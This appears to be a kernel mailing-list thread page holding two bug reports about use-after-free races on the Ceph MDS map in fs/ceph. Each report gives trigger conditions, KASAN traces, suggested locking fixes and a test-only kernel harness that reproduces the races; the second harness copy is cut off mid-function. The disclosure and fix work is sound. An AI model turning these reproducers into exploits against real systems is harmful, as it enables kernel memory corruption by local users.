Skip to contentSkip to conversation

usb: devio: usbdev_release() has no barrier against an in-flight async_completed() callback (use-after-free window on struct usb_dev_state)[email protected]

PATCH In review 徐晗翔 17 participants 134 messages Oct 27 – Dec 1 Page 2 of 2

Subsystems (20)
lore
Share & tools
lore
author
#79 lore raw

fs/ceph: ceph_statfs() can dereference a freed MDS map (double evaluation of mdsc->mdsmap) (UAF)

In reply to Greg KH

ceph_statfs() evaluates fsc->mdsc->mdsmap twice in one expression pair (super.c:68-69), without mdsc->mutex. ceph_mdsc_handle_mdsmap() replaces mdsc->mdsmap and immediately frees the old struct ceph_mdsmap in the same critical section (mds_client.c:7057-7061), and struct ceph_mdsmap has no reference count and no RCU freeing. Any unprivileged user can call statfs(2)/df on a ceph mount, so a statfs that overlaps an MDS map update can read a freed map, or can observe a new map with m_num_data_pg_pools == 0 and dereference m_data_pg_pools[0] where kcalloc(0) returned ZERO_SIZE_PTR (0x10) - a near-NULL dereference. I reproduced both on 7.3: 9 KASAN slab-use-after-free reports across the statfs read points (including the second evaluation) and a null-ptr-deref at 0x10 with the same read shape.

The detailed description:

* Test environment / affected version

Linux 7.3.0 tree (Makefile: VERSION 7, PATCHLEVEL 3, SUBLEVEL 0) at /home/xuhanxiang/project/race/linux, not a git checkout:

    fs/ceph/super.c        d06bb506183e26374582ee5d82322b8c
    fs/ceph/mds_client.c   8678459253e5b1452667946bf4457c5a
    fs/ceph/mdsmap.c       5cb2b54f0d3007961c36e68da1f6318c
    fs/ceph/mdsmap.h       8effd15a2d508dc1f69b44b47a5ce3da

All line numbers are from this tree. Kernel: 7.3.0 #2 PREEMPT(lazy), gcc 13.3.0, KASAN enabled (CONFIG_KASAN=y, CONFIG_CEPH_FS=y, CONFIG_CEPH_LIB=y, CONFIG_DEBUG_FS=y). QEMU/KVM guest (4 vCPU, 4G), busybox initramfs.

* Mechanism

ceph_statfs() (super.c:59-76):

        u64 data_pool;

        if (fsc->mdsc->mdsmap->m_num_data_pg_pools == 1) {
                data_pool = fsc->mdsc->mdsmap->m_data_pg_pools[0];
        } else {
                data_pool = CEPH_NOPOOL;
        }
        err = ceph_monc_do_statfs(monc, data_pool, &st);

The compiler is free to load mdsc->mdsmap twice (and the source shows two separate expressions), so:

A) T1 loads mdsc->mdsmap = M0 at line 68, compares M0->m_num_data_pg_pools

     == 1; T2 publishes M1 and frees M0; T1 then loads
     mdsc->mdsmap->m_data_pg_pools (line 69) - either re-reading the current
     pointer (M1, usually fine) or, if it already loaded M0, dereferencing
     freed memory.
  B) Even without a re-read, a load of M0 that is followed by the free
     before the m_data_pg_pools load is a UAF read.
  C) If line 69 observes a new map with m_num_data_pg_pools == 0,
     m_data_pg_pools is kcalloc(0), which returns ZERO_SIZE_PTR (0x10) on
     this tree (mdsmap.c:282-292), and [0] dereferences 0x10.

The writer side is the same as in the debugfs report: mdsc->mdsmap is replaced at mds_client.c:7059 and the old map destroyed at 7061; no refcount/RCU; ceph_mdsmap_destroy() (mdsmap.c:443-455) frees the arrays synchronously. Note that ioctl.c:41-58 (__validate_layout) reads the same data-pool fields under mdsc->mutex - the lock protocol exists, ceph_statfs() just does not use it.

* Trigger model

- Any local user with access to a mounted cephfs can call statfs(2)/df; no privileges needed.
- A concurrent MDS map update is needed: MDS restart/failover, rank removal, max_mds change, laggy set updates, etc. (mon connection work context.)
- The window is between the pointer loads and the m_data_pg_pools load.

* Reproducer (attached: ceph_mdsmap_race_harness.c + instrumentation.patch) and results on 7.3

the harness builds a real struct ceph_mds_client (real ceph_mdsc_init()), publishes a minimal MDS map through the real ceph_mdsc_handle_mdsmap(), and runs readers that replay the exact ceph_statfs() read shape: load mdsc->mdsmap (READ_ONCE) -> block -> after the map is freed, read m_num_data_pg_pools and m_data_pg_pools[0]. The "replicas" plan runs five readers; kinds 1 and 2 are the two statfs evaluation forms. The "mr02zero" plan publishes a new map with m_num_data_pg_pools = 0.

Result (plan-replicas.log, plan-mr02zero.log):

    BUG: KASAN: slab-use-after-free in rv_reader_fn+0x6c/0x80/0x90
    Read of size 4/8 ... (m_num_data_pg_pools and m_data_pg_pools load)
    Allocated by: ceph_mdsmap_decode+0xe1 <- ceph_mdsc_handle_mdsmap+0x288
    Freed by:     ceph_mdsc_handle_mdsmap+0x2c7
    BUG: KASAN: null-ptr-deref in rv_reader_fn+0x132/0x170
    Read of size 8 at addr 0000000000000010

Control run replicasctl (release readers before publishing the new map):
KASAN count 0, all readers return normal values.

* Suggested direction

Snapshot the fields once under mdsc->mutex:

        u64 data_pool;
        mutex_lock(&fsc->mdsc->mutex);
        if (fsc->mdsc->mdsmap->m_num_data_pg_pools == 1)
                data_pool = fsc->mdsc->mdsmap->m_data_pg_pools[0];
        else
                data_pool = CEPH_NOPOOL;
        mutex_unlock(&fsc->mdsc->mutex);

Long term, RCU publication would let ceph_statfs() use a stable snapshot without holding the mutex.

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

// SPDX-License-Identifier: GPL-2.0
/*
* fs/ceph mdsmap lifetime race verification harness (TEST ONLY, not upstream). *
* This file is compiled into ceph.o only when CONFIG_CEPH_RACE_VERIFY=y.
* It builds a fake (but minimally consistent) ceph client / fs_client /
* mds_client, publishes MDS maps into mdsc->mdsmap through the *real*
* ceph_mdsc_handle_mdsmap() writer, and lets readers (the real debugfs
* mdsmap_show() and line-faithful replicas of the audited read sites)
* dereference a map while a concurrent map update publishes a new map and
* ceph_mdsmap_destroy()s the old one.
*
* Only the test scaffolding and one stall hook are added; the writer, the
* free path, the debugfs show callback and ceph_mdsmap_is_cluster_available()
* are the unmodified production code under test.
*/
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/debugfs.h>
#include <linux/fs.h>
#include <linux/kthread.h>
#include <linux/delay.h>
#include <linux/completion.h>
#include <linux/atomic.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/uaccess.h>
#include <linux/ceph/decode.h>
#include <linux/ceph/libceph.h>

#include "super.h"
#include "mds_client.h"
#include "mdsmap.h"
#include "race_verify.h"

static struct ceph_options rv_copts; /* con_modes[0] == UNKNOWN -> msgr1 */
static struct ceph_client *rv_client;
static struct ceph_fs_client *rv_fsc;
static struct ceph_mount_options *rv_mopts;
static struct ceph_mds_client *rv_mdsc;
static struct dentry *rv_dir;
static u32 rv_cur_epoch;

static bool rv_pause_enabled;
static atomic_t rv_loaded = ATOMIC_INIT(0);
static atomic_t rv_released = ATOMIC_INIT(0);
static DECLARE_COMPLETION(rv_go);

#define RV_BUF_SZ 4096
#define RV_NMDS 1

/* ------------------------------------------------------------------ */
/* MDS map wire encoder: mdsmap_v=1 (legacy), one ACTIVE mds rank. */
/* ------------------------------------------------------------------ */

#define RV_MSG_HDR_SZ 24 /* ceph_fsid (16) + epoch (u32) + maplen (u32) */

static int rv_build_map(u8 *buf, size_t bufsz, u32 epoch, u32 npools, u32 in_n)

{
	struct ceph_fsid fsid;
	void *p = buf + RV_MSG_HDR_SZ;
	void *end = buf + bufsz;
	u32 maplen;
	u32 i;
	int j;

	if (bufsz <= RV_MSG_HDR_SZ)
		return -EINVAL;

	ceph_encode_8(&p, 1);			/* mdsmap_v */
	ceph_encode_8(&p, 0);			/* compat version byte */
	ceph_encode_32(&p, epoch);		/* m_epoch */
	ceph_encode_32(&p, 0);			/* m_client_epoch */
	ceph_encode_32(&p, 0);			/* m_last_failure */
	ceph_encode_32(&p, 1);			/* m_root */
	ceph_encode_32(&p, 60);			/* m_session_timeout */
	ceph_encode_32(&p, 300);		/* m_session_autoclose */
	ceph_encode_64(&p, 1ULL << 40);		/* m_max_file_size */
	ceph_encode_32(&p, RV_NMDS);		/* m_max_mds */
	ceph_encode_32(&p, RV_NMDS);		/* m_num_active_mds */

	for (i = 0; i < RV_NMDS; i++) {
		ceph_encode_64(&p, i + 1);	/* global_id */
		ceph_encode_8(&p, 1);		/* info_v (no addrvec, no exports) */
		ceph_encode_64(&p, 0);		/* skipped field */
		ceph_encode_32(&p, 0);		/* namelen */
		ceph_encode_32(&p, i);		/* mds rank */
		ceph_encode_32(&p, 0);		/* inc */
		ceph_encode_32(&p, CEPH_MDS_STATE_ACTIVE);
		ceph_encode_64(&p, 0);		/* state_seq */
		/* legacy entity_addr: 1 marker byte + 3 type bytes + nonce */
		ceph_encode_8(&p, CEPH_ENTITY_ADDR_TYPE_NONE);
		ceph_encode_8(&p, 0);
		ceph_encode_8(&p, 0);
		ceph_encode_8(&p, 0);
		ceph_encode_32(&p, 0);		/* nonce */
		for (j = 0; j < 16; j++)	/* sockaddr_storage (128B) */
			ceph_encode_64(&p, 0);
		ceph_encode_64(&p, 0);		/* laggy_since (ceph_timespec) */
		ceph_encode_32(&p, 0);		/* skipped field */
		ceph_encode_32(&p, 0);		/* namelen */
	}

	ceph_encode_32(&p, npools);		/* m_num_data_pg_pools */
	for (i = 0; i < npools; i++)
		ceph_encode_64(&p, 1);		/* data pool id */
	ceph_encode_64(&p, 0);			/* m_cas_pg_pool */

	/* tail for mdsmap_ev == 1 */
	ceph_encode_32(&p, 1);			/* metadata_pool */
	ceph_encode_64(&p, 0);			/* created (ceph_timespec) */
	ceph_encode_64(&p, 0);			/* modified (ceph_timespec) */
	ceph_encode_32(&p, 0);			/* tableserver */
	ceph_encode_32(&p, in_n);		/* in set: in_n entries */
	for (i = 0; i < in_n; i++)
		ceph_encode_32(&p, i);		/* rank i is in */
	ceph_encode_32(&p, 0);			/* inc map: 0 entries */
	ceph_encode_32(&p, 0);			/* up map: 0 entries */
	ceph_encode_32(&p, 0);			/* failed set: 0 entries */
	ceph_encode_32(&p, 0);			/* stopped set: 0 entries */

	if (p > end)
		return -EOVERFLOW;

	maplen = p - (void *)(buf + RV_MSG_HDR_SZ);

	/* message header: ceph_fsid + map epoch + map length */
	memset(&fsid, 0, sizeof(fsid));
	fsid.fsid[0] = 0xce;
	fsid.fsid[15] = 0x71;
	p = buf;
	ceph_encode_copy(&p, &fsid, sizeof(fsid));
	ceph_encode_32(&p, epoch);
	ceph_encode_32(&p, maplen);
	if (p != buf + RV_MSG_HDR_SZ)
		return -EINVAL;
	return (buf + RV_MSG_HDR_SZ + maplen) - buf;
}

static int rv_deliver_map_ex(u32 epoch, u32 npools, u32 in_n)

{
	struct ceph_msg msg = { };
	u8 buf[RV_BUF_SZ];
	int len;

	len = rv_build_map(buf, sizeof(buf), epoch, npools, in_n);
	if (len < 0) {
		pr_err("CEPHV: map encode failed %d\n", len);
		return len;
	}
	msg.front.iov_base = buf;
	msg.front.iov_len = len;
	ceph_mdsc_handle_mdsmap(rv_mdsc, &msg);
	rv_cur_epoch = epoch;
	return 0;
}

static int rv_deliver_map(u32 epoch, u32 npools)

{
	return rv_deliver_map_ex(epoch, npools, RV_NMDS);
}

/* ------------------------------------------------------------------ */ /* Setup: fake client / fs_client / mds_client, then first map epoch 2 */ /* ------------------------------------------------------------------ */

static int rv_setup(void)

{
	int ret;

	if (rv_mdsc)
		return -EALREADY;

	rv_client = kzalloc(sizeof(*rv_client), GFP_KERNEL);
	rv_fsc = kzalloc(sizeof(*rv_fsc), GFP_KERNEL);
	rv_mopts = kzalloc(sizeof(*rv_mopts), GFP_KERNEL);
	if (!rv_client || !rv_fsc || !rv_mopts)
		return -ENOMEM;

	rv_client->options = &rv_copts;
	mutex_init(&rv_client->monc.mutex);
	rv_client->monc.client = rv_client;

	rv_fsc->client = rv_client;
	rv_fsc->mount_options = rv_mopts;
	INIT_LIST_HEAD(&rv_fsc->metric_wakeup);

	ret = ceph_mdsc_init(rv_fsc);
	if (ret) {
		pr_err("CEPHV: ceph_mdsc_init failed %d\n", ret);
		return ret;
	}
	rv_mdsc = rv_fsc->mdsc;

	/* Neutralize the delayed_work timer before the first map delivery,
	 * so the work item early-returns instead of running cap machinery.
	 */
	rv_mdsc->stopping = CEPH_MDSC_STOPPING_FLUSHED;

	ret = rv_deliver_map(2, 1);
	if (ret)
		return ret;
	flush_delayed_work(&rv_mdsc->delayed_work);

	/* The real debugfs show callback, using the real mdsmap_fops. */
	ceph_race_create_mdsmap_file(rv_fsc, rv_dir);

	pr_info("CEPHV: setup done, epoch=%u stopping=%d\n",
		rv_cur_epoch, (int)rv_mdsc->stopping);
	return 0;
}

/* ------------------------------------------------------------------ */
/* Stall hook called from the real mdsmap_show() after it snapshots */
/* fsc->mdsc->mdsmap (debugfs.c:66 in the unmodified tree). */
/* ------------------------------------------------------------------ */

void ceph_race_verify_pause(struct ceph_mds_client *mdsc,
struct ceph_mdsmap *mdsmap)

{
	if (!READ_ONCE(rv_pause_enabled) || !rv_mdsc)
		return;
	atomic_inc(&rv_loaded);
	wait_for_completion(&rv_go);
	atomic_set(&rv_loaded, 0);
}

/* ------------------------------------------------------------------ */ /* Kernel-thread readers: faithful replicas of the audited read sites */ /* ------------------------------------------------------------------ */

enum rv_reader_kind {
	RV_R_STATFS = 1,	/* super.c:68-69   (ceph_statfs) */
	RV_R_TOCTOU,		/* super.c:69      (double load) */
	RV_R_XATTR,		/* xattr.c:1237    (__ceph_setxattr) */
	RV_R_RENEW,		/* mds_client.c:2130/2179 */
	RV_R_PEER,		/* mds_client.c:5227 */
};

static int rv_reader_fn(void *arg)

{
	long kind = (long)arg;
	struct ceph_mdsmap *m, *m2;
	u64 val = 0;
	u32 u32v = 0;
	int st;

	m = READ_ONCE(rv_mdsc->mdsmap);
	atomic_inc(&rv_loaded);
	wait_for_completion(&rv_go);

	switch (kind) {
	case RV_R_STATFS:
		u32v = m->m_num_data_pg_pools;
		if (u32v == 1) {
			u64 *p = m->m_data_pg_pools;
			val = p[0];
		}
		break;
	case RV_R_TOCTOU:
		u32v = m->m_num_data_pg_pools;
		m2 = READ_ONCE(rv_mdsc->mdsmap);
		if (u32v == 1) {
			u64 *p = m2->m_data_pg_pools;
			val = p[0];
		}
		break;
	case RV_R_XATTR:
		val = m->m_max_xattr_size;
		break;
	case RV_R_RENEW:
		u32v = m->m_session_timeout;
		break;
	case RV_R_PEER:
		st = ceph_mdsmap_get_state(m, 0);
		{
			struct ceph_entity_addr addr;
			struct ceph_entity_addr *a =
				ceph_mdsmap_get_addr(m, 0);
			if (a)
				memcpy(&addr, a, sizeof(addr));
			pr_info("CEPHV: peer replica state=%d addr=%p\n",
				st, a);
		}
		return 0;
	default:
		return -EINVAL;
	}

	pr_info("CEPHV: reader kind=%ld val=%llu u32=%u\n", kind,
		(unsigned long long)val, u32v);
	return 0;
}

/* Real production reader: ceph_mdsmap_is_cluster_available() on a
* previously snapshotted map (the ceph_get_tree() out_splat pattern). */
static int rv_reader3_fn(void *arg)

{
	struct ceph_mdsmap *m = READ_ONCE(rv_mdsc->mdsmap);
	bool avail;

	atomic_inc(&rv_loaded);
	wait_for_completion(&rv_go);
	avail = ceph_mdsmap_is_cluster_available(m);
	pr_info("CEPHV: reader3 avail=%d\n", avail);
	return 0;
}

static int rv_spawn(int (*fn)(void *), long kind, const char *name,
struct task_struct **out)

{
	struct task_struct *t = kthread_run(fn, (void *)kind, "%s", name);

	if (IS_ERR(t))
		return PTR_ERR(t);
	if (out)
		*out = t;
	return 0;
}

static void rv_release(void)

{
	atomic_set(&rv_released, 1);
	complete_all(&rv_go);
}

/* ------------------------------------------------------------------ */
/* control file */
/* ------------------------------------------------------------------ */

static ssize_t rv_ctl_write(struct file *f, const char __user *ubuf,
size_t len, loff_t *off)

{
	struct task_struct *t;
	char buf[32];
	int ret = 0;

	if (len >= sizeof(buf))
		return -EINVAL;
	if (copy_from_user(buf, ubuf, len))
		return -EFAULT;
	buf[len] = 0;
	strim(buf);

	if (!strcmp(buf, "setup")) {
		ret = rv_setup();
	} else if (!strcmp(buf, "arm")) {
		rv_pause_enabled = true;
		reinit_completion(&rv_go);
		atomic_set(&rv_loaded, 0);
		atomic_set(&rv_released, 0);
		pr_info("CEPHV: armed (pause hook enabled)\n");
	} else if (!strcmp(buf, "trigger")) {
		ret = rv_deliver_map(rv_cur_epoch + 1, 1);
		pr_info("CEPHV: trigger epoch=%u pools=1\n", rv_cur_epoch);
	} else if (!strcmp(buf, "trigger0")) {
		ret = rv_deliver_map_ex(rv_cur_epoch + 1, 0, 0);
		pr_info("CEPHV: trigger epoch=%u pools=0\n", rv_cur_epoch);
	} else if (!strcmp(buf, "release")) {
		rv_release();
		pr_info("CEPHV: released\n");
	} else if (!strcmp(buf, "reader3")) {
		ret = rv_spawn(rv_reader3_fn, 0, "cephrv3", &t);
	} else if (!strcmp(buf, "rep")) {
		ret = rv_spawn(rv_reader_fn, RV_R_STATFS, "cephrv-s", NULL);
		if (!ret)
			ret = rv_spawn(rv_reader_fn, RV_R_TOCTOU, "cephrv-t", NULL);
		if (!ret)
			ret = rv_spawn(rv_reader_fn, RV_R_XATTR, "cephrv-x", NULL);
		if (!ret)
			ret = rv_spawn(rv_reader_fn, RV_R_RENEW, "cephrv-r", NULL);
		if (!ret)
			ret = rv_spawn(rv_reader_fn, RV_R_PEER, "cephrv-p", NULL);
	} else if (!strcmp(buf, "rep0")) {
		ret = rv_spawn(rv_reader_fn, RV_R_TOCTOU, "cephrv-t0", NULL);
	} else if (!strcmp(buf, "noop")) {
		ret = 0;
	} else {
		ret = -EINVAL;
	}

	if (ret)
		return ret;
	return len;
}

static const struct file_operations rv_ctl_fops = {
.write = rv_ctl_write,
};

static int rv_state_show(struct seq_file *s, void *unused)

{
	seq_printf(s, "mdsc=%d epoch=%u loaded=%d released=%d pause=%d stopping=%d\n",
		   rv_mdsc ? 1 : 0, rv_cur_epoch,
		   atomic_read(&rv_loaded), atomic_read(&rv_released),
		   rv_pause_enabled ? 1 : 0,
		   rv_mdsc ? (int)rv_mdsc->stopping : -1);
	return 0;
}

DEFINE_SHOW_ATTRIBUTE(rv_state);

static int __init rv_init(void)

{
	rv_dir = debugfs_create_dir("cephrace", NULL);
	if (IS_ERR_OR_NULL(rv_dir))
		return 0;
	debugfs_create_file("control", 0200, rv_dir, NULL, &rv_ctl_fops);
	debugfs_create_file("state", 0400, rv_dir, NULL, &rv_state_fops);
	pr_info("CEPHV: harness loaded\n");
	return 0;
}

late_initcall(rv_init);

fs/ceph/debugfs.c +12 -0
@@ -20,6 +20,8 @@
 
 #include "super.h"
 
+#include "race_verify.h"
+
 #ifdef CONFIG_DEBUG_FS
 
 #include "mds_client.h"
@@ -64,6 +66,7 @@
 	if (!fsc->mdsc || !fsc->mdsc->mdsmap)
 		return 0;
 	mdsmap = fsc->mdsc->mdsmap;
+	ceph_race_verify_pause(fsc->mdsc, mdsmap);
 	seq_printf(s, "epoch %d\n", mdsmap->m_epoch);
 	seq_printf(s, "root %d\n", mdsmap->m_root);
 	seq_printf(s, "max_mds %d\n", mdsmap->m_max_mds);
@@ -531,6 +534,15 @@
 }
 
 DEFINE_SHOW_ATTRIBUTE(mdsmap);
+
+#ifdef CONFIG_CEPH_RACE_VERIFY
+/* TEST ONLY: expose the real mdsmap_show() fops on a harness directory. */
+void ceph_race_create_mdsmap_file(struct ceph_fs_client *fsc,
+				  struct dentry *parent)
+{
+	debugfs_create_file("mdsmap", 0400, parent, fsc, &mdsmap_fops);
+}
+#endif
 DEFINE_SHOW_ATTRIBUTE(mdsc);
 DEFINE_SHOW_ATTRIBUTE(caps);
 DEFINE_SHOW_ATTRIBUTE(mds_sessions);
fs/ceph/Makefile +1 -0
@@ -13,3 +13,4 @@
 ceph-$(CONFIG_CEPH_FSCACHE) += cache.o
 ceph-$(CONFIG_CEPH_FS_POSIX_ACL) += acl.o
 ceph-$(CONFIG_FS_ENCRYPTION) += crypto.o
+ceph-$(CONFIG_CEPH_RACE_VERIFY) += race_verify.o
fs/ceph/Kconfig +9 -0
@@ -47,3 +47,12 @@
 
 	  If you are not using a security module that requires using
 	  extended attributes for file security labels, say N.
+
+config CEPH_RACE_VERIFY
+	bool "Ceph mdsmap lifetime race verification harness (TEST ONLY)"
+	depends on CEPH_FS && DEBUG_FS
+	help
+	  Test-only instrumentation used to dynamically verify mdsmap
+	  lifetime races (publish+destroy vs. lockless readers).  Not for
+	  production kernels.
+
author
#80 lore raw

fs/ceph: ceph_get_tree() out_splat path walks mdsc->mdsmap without mdsc->mutex (UAF)

In reply to Greg KH

When a cephfs mount fails after the mon client has subscribed to the MDS map, ceph_get_tree() jumps to out_splat and calls ceph_mdsmap_is_cluster_available(fsc->mdsc->mdsmap) (super.c:1373-1381) without mdsc->mutex. That function (mdsmap.c:457-471) dereferences m_enabled, m_damaged, m_num_laggy and then walks m_info[]. In the meantime ceph_mdsc_handle_mdsmap() may publish a new map and free the old struct ceph_mdsmap (mds_client.c:7057-7061; no refcount/RCU), so the mount-failure path can read freed memory. I reproduced the UAF in the real function on 7.3 (KASAN, "Read of size 1" in ceph_mdsmap_is_cluster_available+0x18, i.e. the first m->m_enabled read), with a release-before-publish control run giving zero reports.

The detailed description:

* Test environment / affected version

Linux 7.3.0 tree (Makefile: VERSION 7, PATCHLEVEL 3, SUBLEVEL 0) at /home/xuhanxiang/project/race/linux, not a git checkout:

    fs/ceph/super.c        d06bb506183e26374582ee5d82322b8c
    fs/ceph/mds_client.c   8678459253e5b1452667946bf4457c5a
    fs/ceph/mdsmap.c       5cb2b54f0d3007961c36e68da1f6318c

All line numbers are from this tree. Kernel 7.3.0 #2 PREEMPT(lazy), gcc 13.3.0, KASAN enabled (CONFIG_KASAN=y, CONFIG_CEPH_FS=y, CONFIG_CEPH_LIB=y, CONFIG_DEBUG_FS=y). QEMU/KVM, 4 vCPU/4G, busybox initramfs.

* Mechanism

ceph_get_tree() (super.c:1309-1388) creates the fs client, runs ceph_mdsc_init(), then ceph_real_mount(). If real_mount fails (e.g. __ceph_open_session() error, ceph_fs_debugfs_init()/fscache failure, open_root_dentry() error - super.c:1158-1212), or if ceph_setup_bdi() fails, control reaches:

    out_splat:
        if (!ceph_mdsmap_is_cluster_available(fsc->mdsc->mdsmap)) {
                pr_info("No mds server is up or the cluster is laggy\n");
                err = -EHOSTUNREACH;
        }
        ceph_mdsc_close_sessions(fsc->mdsc);
        deactivate_locked_super(sb);

ceph_mdsmap_is_cluster_available() (mdsmap.c:457-471):

        if (!m->m_enabled)
                return false;
        if (m->m_damaged)
                return false;
        if (m->m_num_laggy == m->m_num_active_mds)
                return false;
        for (i = 0; i < m->possible_max_rank; i++) {
                if (m->m_info[i].state == CEPH_MDS_STATE_ACTIVE)
                        nr_active++;
        }
        return nr_active > 0;

The map can already have been replaced and freed by the time this runs:
create_fs_client() installs extra_mon_dispatch (super.c:836) and subscribes to CEPH_SUB_MDSMAP (super.c:839-841) before ceph_real_mount(), so mon connection work can call ceph_mdsc_handle_mdsmap() while the mount thread is failing. mount_mutex does not protect mdsc->mdsmap (the writer never takes it). The writer path is mds_client.c:7057-7061 with the synchronous free in mdsmap.c:443-455.

* Trigger model

- Needs CAP_SYS_ADMIN (or a userns mount) to attempt a ceph mount, and a mount failure that happens after the mon client subscribed to the MDS map (wrong root path, shortened mount_timeout, fscache/setup failure, ...).
- Needs an MDS map update (MDS restart/failover, rank change, laggy set) concurrent with the failure path.
- The reader dereferences the map immediately; in production the window is the interval between loading fsc->mdsc->mdsmap and the first m_enabled read.

* Reproducer (attached: ceph_mdsmap_race_harness.c + instrumentation.patch) and results on 7.3

The harness builds a real struct ceph_mds_client (real ceph_mdsc_init()), publishes a minimal MDS map through the real ceph_mdsc_handle_mdsmap(), and runs a kthread that snapshots mdsc->mdsmap, waits until the map has been published and freed by the harness, then calls the real ceph_mdsmap_is_cluster_available() on the stale pointer (this is exactly what out_splat does, minus the mount syscall).

    # plan mr03:
    #   setup (epoch 2) -> reader3 (snapshot + block) -> trigger
    #   (publish epoch 3, free epoch 2) -> release (call the real function)

Result:

    BUG: KASAN: slab-use-after-free in
      ceph_mdsmap_is_cluster_available+0x18/0xd0
    Read of size 1 at addr ff11000100c10c58 by task cephrv3/115
    Allocated by: ceph_mdsmap_decode+0xe1 <- ceph_mdsc_handle_mdsmap+0x288
    Freed by:     ceph_mdsc_handle_mdsmap+0x2c7

Control run mr03ctl (reader completes before the new map is published):
KASAN count 0.

* Suggested direction

Take mdsc->mutex around the sanity check in ceph_get_tree()'s out_splat path (the writer holds it, and the check is only called from this unlocked site), or better, publish mdsc->mdsmap with RCU so readers can take a stable snapshot.

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

// SPDX-License-Identifier: GPL-2.0
/*
* fs/ceph mdsmap lifetime race verification harness (TEST ONLY, not upstream). *
* This file is compiled into ceph.o only when CONFIG_CEPH_RACE_VERIFY=y.
* It builds a fake (but minimally consistent) ceph client / fs_client /
* mds_client, publishes MDS maps into mdsc->mdsmap through the *real*
* ceph_mdsc_handle_mdsmap() writer, and lets readers (the real debugfs
* mdsmap_show() and line-faithful replicas of the audited read sites)
* dereference a map while a concurrent map update publishes a new map and
* ceph_mdsmap_destroy()s the old one.
*
* Only the test scaffolding and one stall hook are added; the writer, the
* free path, the debugfs show callback and ceph_mdsmap_is_cluster_available()
* are the unmodified production code under test.
*/
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/debugfs.h>
#include <linux/fs.h>
#include <linux/kthread.h>
#include <linux/delay.h>
#include <linux/completion.h>
#include <linux/atomic.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/uaccess.h>
#include <linux/ceph/decode.h>
#include <linux/ceph/libceph.h>

#include "super.h"
#include "mds_client.h"
#include "mdsmap.h"
#include "race_verify.h"

static struct ceph_options rv_copts; /* con_modes[0] == UNKNOWN -> msgr1 */
static struct ceph_client *rv_client;
static struct ceph_fs_client *rv_fsc;
static struct ceph_mount_options *rv_mopts;
static struct ceph_mds_client *rv_mdsc;
static struct dentry *rv_dir;
static u32 rv_cur_epoch;

static bool rv_pause_enabled;
static atomic_t rv_loaded = ATOMIC_INIT(0);
static atomic_t rv_released = ATOMIC_INIT(0);
static DECLARE_COMPLETION(rv_go);

#define RV_BUF_SZ 4096
#define RV_NMDS 1

/* ------------------------------------------------------------------ */
/* MDS map wire encoder: mdsmap_v=1 (legacy), one ACTIVE mds rank. */
/* ------------------------------------------------------------------ */

#define RV_MSG_HDR_SZ 24 /* ceph_fsid (16) + epoch (u32) + maplen (u32) */

static int rv_build_map(u8 *buf, size_t bufsz, u32 epoch, u32 npools, u32 in_n)

{
	struct ceph_fsid fsid;
	void *p = buf + RV_MSG_HDR_SZ;
	void *end = buf + bufsz;
	u32 maplen;
	u32 i;
	int j;

	if (bufsz <= RV_MSG_HDR_SZ)
		return -EINVAL;

	ceph_encode_8(&p, 1);			/* mdsmap_v */
	ceph_encode_8(&p, 0);			/* compat version byte */
	ceph_encode_32(&p, epoch);		/* m_epoch */
	ceph_encode_32(&p, 0);			/* m_client_epoch */
	ceph_encode_32(&p, 0);			/* m_last_failure */
	ceph_encode_32(&p, 1);			/* m_root */
	ceph_encode_32(&p, 60);			/* m_session_timeout */
	ceph_encode_32(&p, 300);		/* m_session_autoclose */
	ceph_encode_64(&p, 1ULL << 40);		/* m_max_file_size */
	ceph_encode_32(&p, RV_NMDS);		/* m_max_mds */
	ceph_encode_32(&p, RV_NMDS);		/* m_num_active_mds */

	for (i = 0; i < RV_NMDS; i++) {
		ceph_encode_64(&p, i + 1);	/* global_id */
		ceph_encode_8(&p, 1);		/* info_v (no addrvec, no exports) */
		ceph_encode_64(&p, 0);		/* skipped field */
		ceph_encode_32(&p, 0);		/* namelen */
		ceph_encode_32(&p, i);		/* mds rank */
		ceph_encode_32(&p, 0);		/* inc */
		ceph_encode_32(&p, CEPH_MDS_STATE_ACTIVE);
		ceph_encode_64(&p, 0);		/* state_seq */
		/* legacy entity_addr: 1 marker byte + 3 type bytes + nonce */
		ceph_encode_8(&p, CEPH_ENTITY_ADDR_TYPE_NONE);
		ceph_encode_8(&p, 0);
		ceph_encode_8(&p, 0);
		ceph_encode_8(&p, 0);
		ceph_encode_32(&p, 0);		/* nonce */
		for (j = 0; j < 16; j++)	/* sockaddr_storage (128B) */
			ceph_encode_64(&p, 0);
		ceph_encode_64(&p, 0);		/* laggy_since (ceph_timespec) */
		ceph_encode_32(&p, 0);		/* skipped field */
		ceph_encode_32(&p, 0);		/* namelen */
	}

	ceph_encode_32(&p, npools);		/* m_num_data_pg_pools */
	for (i = 0; i < npools; i++)
		ceph_encode_64(&p, 1);		/* data pool id */
	ceph_encode_64(&p, 0);			/* m_cas_pg_pool */

	/* tail for mdsmap_ev == 1 */
	ceph_encode_32(&p, 1);			/* metadata_pool */
	ceph_encode_64(&p, 0);			/* created (ceph_timespec) */
	ceph_encode_64(&p, 0);			/* modified (ceph_timespec) */
	ceph_encode_32(&p, 0);			/* tableserver */
	ceph_encode_32(&p, in_n);		/* in set: in_n entries */
	for (i = 0; i < in_n; i++)
		ceph_encode_32(&p, i);		/* rank i is in */
	ceph_encode_32(&p, 0);			/* inc map: 0 entries */
	ceph_encode_32(&p, 0);			/* up map: 0 entries */
	ceph_encode_32(&p, 0);			/* failed set: 0 entries */
	ceph_encode_32(&p, 0);			/* stopped set: 0 entries */

	if (p > end)
		return -EOVERFLOW;

	maplen = p - (void *)(buf + RV_MSG_HDR_SZ);

	/* message header: ceph_fsid + map epoch + map length */
	memset(&fsid, 0, sizeof(fsid));
	fsid.fsid[0] = 0xce;
	fsid.fsid[15] = 0x71;
	p = buf;
	ceph_encode_copy(&p, &fsid, sizeof(fsid));
	ceph_encode_32(&p, epoch);
	ceph_encode_32(&p, maplen);
	if (p != buf + RV_MSG_HDR_SZ)
		return -EINVAL;
	return (buf + RV_MSG_HDR_SZ + maplen) - buf;
}

static int rv_deliver_map_ex(u32 epoch, u32 npools, u32 in_n)

{
	struct ceph_msg msg = { };
	u8 buf[RV_BUF_SZ];
	int len;

